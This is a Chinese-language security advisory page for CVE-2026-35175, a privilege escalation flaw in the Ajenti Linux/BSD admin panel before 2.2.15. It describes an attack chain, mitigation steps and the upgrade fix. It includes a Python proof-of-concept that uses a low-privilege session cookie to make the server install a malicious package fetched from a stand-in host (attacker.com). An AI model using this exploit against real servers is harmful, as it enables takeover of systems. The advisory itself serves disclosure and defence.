IPBUF安全漏洞报告
English
CVE-2026-35175 CVSS 6.5 中危

CVE-2026-35175 Ajenti 权限提升漏洞

披露日期: 2026-04-06

漏洞信息

漏洞编号
CVE-2026-35175
漏洞类型
权限提升
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Ajenti

相关标签

权限提升AjentiLinux管理面板CVE-2026-35175访问控制

漏洞概述

Ajenti是一款广泛使用的Linux和BSD模块化服务器管理面板。在2.2.15版本之前,系统存在一个严重的权限控制缺陷。通过auth_users插件认证的低权限用户,可以在未获得超级用户授权的情况下,绕过安全限制安装自定义软件包。这一漏洞可能被攻击者利用,通过安装恶意组件进一步提升权限或破坏系统完整性。官方已在2.2.15版本中发布了安全补丁修复了此问题,建议用户尽快升级。

技术细节

该漏洞的根源在于Ajenti服务器管理面板的软件包管理接口缺乏严格的权限校验机制。具体而言,当用户请求安装自定义软件包时,后端处理逻辑仅验证了用户身份的有效性(即通过auth_users插件的认证),却未进一步验证该用户是否具备超级用户权限或是否在允许执行此类高风险操作的权限组内。攻击者利用此漏洞,只需拥有一个普通的有效账户,即可向受控服务器发送特制的软件包安装请求。由于系统错误地授予了安装权限,攻击者可以上传并安装包含恶意代码的Python包或其他可执行文件。一旦恶意包安装成功,攻击者即可获得与Web服务进程相同的权限,进而可能导致服务器被完全控制、数据篡改或作为跳板进行横向移动。

攻击链分析

STEP 1
1. 信息收集
攻击者识别出目标服务器运行的是Ajenti管理面板,且版本低于2.2.15。
STEP 2
2. 获取低权限凭证
攻击者通过钓鱼、暴力破解或注册获取一个普通用户的账户凭证。
STEP 3
3. 发起恶意请求
攻击者使用低权限账户登录,获取会话令牌,并利用API接口发送安装恶意软件包的请求。
STEP 4
4. 执行恶意代码
服务器接收请求并安装恶意包,由于权限校验缺失,恶意代码被执行,导致系统被入侵。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Configuration target_url = "http://<target-host>:8000/api/core/packages/install" auth_cookie = "<low_priv_user_session_cookie>" malicious_pkg_url = "http://attacker.com/malicious_plugin.zip" headers = { "Content-Type": "application/json", "Cookie": f"session={auth_cookie}" } # Payload to install a custom package payload = { "url": malicious_pkg_url, "dependencies": [] } try: # Send exploitation request print("[*] Attempting to install malicious package...") response = requests.post(target_url, json=payload, headers=headers, verify=False) if response.status_code == 200: print("[+] Exploit successful! Package installed.") else: print(f"[-] Failed. Status: {response.status_code}") print(response.text) except Exception as e: print(f"[!] An error occurred: {e}")

影响范围

Ajenti < 2.2.15

防御指南

临时缓解措施
如果无法立即升级,建议暂时禁用auth_users插件或通过防火墙规则阻止对/api/core/packages/install接口的访问,确保只有管理员才能执行软件包安装操作。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表